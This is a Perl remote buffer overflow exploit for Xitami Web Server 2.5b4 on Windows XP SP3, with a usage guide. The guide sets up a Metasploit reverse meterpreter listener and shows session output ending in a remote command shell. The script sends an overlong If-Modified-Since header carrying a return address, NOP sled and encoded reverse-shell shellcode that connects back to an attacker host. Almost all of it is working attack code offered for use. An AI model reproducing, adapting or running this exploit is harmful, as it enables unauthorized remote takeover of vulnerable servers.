#!/usr/bin/perl
# -------------------------------------------------------------
# Xitami Web Server 2.5b4 - Remote Buffer Overflow Exploit.
# Exploit coded by mr.pr0n [http://s3cure.gr] .
# Many greetz to krumel for his help :-).
# -------------------------------------------------------------
# -------------------------------------------------------------
# Tested on: Xitami 2.5b4 / English Windows XP - SP3
# -------------------------------------------------------------
# ------------------------------------------------------------------------
# Bug for 2.5c2 discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# -------------------------------------------------------------------------
#
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ *
#
# --------------------------------
# Quick user guide!
# --------------------------------
# 1st Step: Set up the listener.
# --------------------------------
# msf > use multi/handler
# msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ord_tcp
# PAYLOAD => windows/meterpreter/reverse_ord_tcp
# msf exploit(handler) > set LHOST 192.168.178.25
# LHOST => 192.168.178.25
# msf exploit(handler) > exploit
#
# [*] Started reverse handler on 192.168.178.25:4444
# [*] Starting the payload handler...
#
# --------------------------------
# 2nd Step: Execute the exploit.
# --------------------------------
# root@bt:~# cd Desktop/
# root@bt:~# ./Xitami2_5b4.pl
#
# #----[ mr.pr0n ]---------------------------------------------------------#
# #    Target App: Xitami Web Server 2.5b4                                 #
# #    Attack    : Remote Buffer Overflow Exploit.                         #
# #    Target OS : Windows XP Pro English [Service Pack 3].                #
# #---------------------------------------------[ http://s3cure.gr ]-------#
#
# Enter your target's IP (e.g.: 192.168.0.123)
# > 192.168.178.37
#
# [*] Sending the evil header at: 192.168.178.37 ...
# [*] OK, exploitation Done!
# [*] Check please for the shell...
#
# --------------------------------
# 3nd Step: N'joy your shell :-)
# --------------------------------
# [*] Transmitting intermediate stager for over-sized stage...(216 bytes)
# [*] Sending stage (749056 bytes) to 192.168.178.37
# [*] Meterpreter session 1 opened (192.168.178.25:4444 -> 192.168.178.37:1031) at 2011-05-31 02:13:33 +0300
#
# meterpreter > sysinfo
# Computer        : xxxxxx-xxxxxx
# OS              : Windows XP (Build 2600, Service Pack 3).
# Architecture    : x86
# System Language : en_US
# Meterpreter     : x86/win32
# meterpreter > shell
# Process 320 created.
# Channel 1 created.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Xitami>
#
# ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ * ~ *
#

use IO::Socket;
print "\n#----[ mr.pr0n ]---------------------------------------------------------#\n";
print "#    Target App: Xitami Web Server 2.5b4                                 #\n";
print "#    Attack    : Remote Buffer Overflow Exploit.                         #\n";
print "#    Target OS : Windows XP Pro English [Service Pack 3].                #\n";
print "#---------------------------------------------[ http://s3cure.gr ]-------#\n";

print "\nEnter your target's IP (e.g.: 192.168.0.123)";
print "\n> ";
$target=<STDIN>;
chomp($target);

#---------------------------#
$junk   = "\x41" x 72;    # 72 x "A".
$RET  = "\x53\x2b\xab\x71";   # ws2_32.dll push ESP - ret - (Windows XP SP3 - [En]).
$jmp   = "\xeb\x22";    # JMP +0x22.
$nops   = "\x90" x 100;     # 100 Nops.
#---------------------------#

# ./msfpayload win32_reverse_ord EXITFUNC=thread LHOST=192.168.178.25 LPORT=4444 R | ./msfencode -e PexAlphaNum
# [*] Using Msf::Encoder::PexAlphaNum with final size of 261 bytes

$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x41\x33\x4b\x4d".
"\x46\x56\x4b\x48\x43\x34\x42\x43\x4b\x48\x42\x44\x4e\x30\x4b\x48".
"\x42\x55\x4e\x31\x4b\x38\x44\x31\x4b\x48\x44\x37\x42\x42\x4d\x4a".
"\x4d\x4a\x50\x54\x43\x50\x48\x30\x4d\x53\x44\x43\x43\x53\x4f\x45".
"\x44\x33\x45\x37\x4f\x4e\x4b\x58\x4c\x36\x4a\x50\x4b\x58\x45\x54".
"\x4e\x33\x4b\x38\x4e\x54\x45\x50\x4a\x47\x4b\x58\x4e\x44\x4d\x50".
"\x4e\x41\x41\x30\x49\x4e\x4b\x58\x41\x34\x4a\x55\x41\x50\x4a\x4e".
"\x4b\x48\x41\x57\x4e\x53\x41\x50\x50\x4e\x43\x50\x49\x36\x4e\x50".
"\x43\x55\x4c\x46\x41\x30\x4c\x36\x44\x30\x4f\x4f\x42\x4d\x47\x39".
"\x4a\x36\x42\x4c\x4a\x4a\x44\x4b\x49\x51\x4a\x36\x44\x50\x42\x50".
"\x41\x31\x4e\x35\x49\x58\x41\x4e\x43\x35\x47\x4b\x4e\x50\x43\x35".
"\x41\x45\x47\x55\x41\x45\x4c\x56\x42\x41\x41\x55\x47\x35\x48\x55".
"\x4f\x4f\x45\x4e\x5a";

if ($socket = IO::Socket::INET->new
  (PeerAddr => $target,
  PeerPort => "80",
  Proto => "TCP"))
 
  {
  $exploit  = $junk.$RET.$jmp.$nops.$shellcode;
  #
  #---------------------------------#
  # If we send an If-Modified-Since header,
  # containing an overly long string (for example our exploit)
  # it may be possible to execute (remotely) a payload!!
  #---------------------------------#
  #
  # This is the evil header! }:-)
  $header =
  "GET / HTTP/1.1\r\n".
  "Host: ".$target." \r\n".
  "If-Modified-Since: p0wnp0wnb00m! "." $exploit\r\n";
  print "\n[*] Sending the evil header at: $target ...\n";
  print $socket $header."\r\n";
  sleep(1);
  close($socket);
  print "[*] OK, exploitation Done!\n";
  print "[*] Check please the shell..\n\n";
  }

else
 {
 print "[-] Connection to $target failed!\n";
 }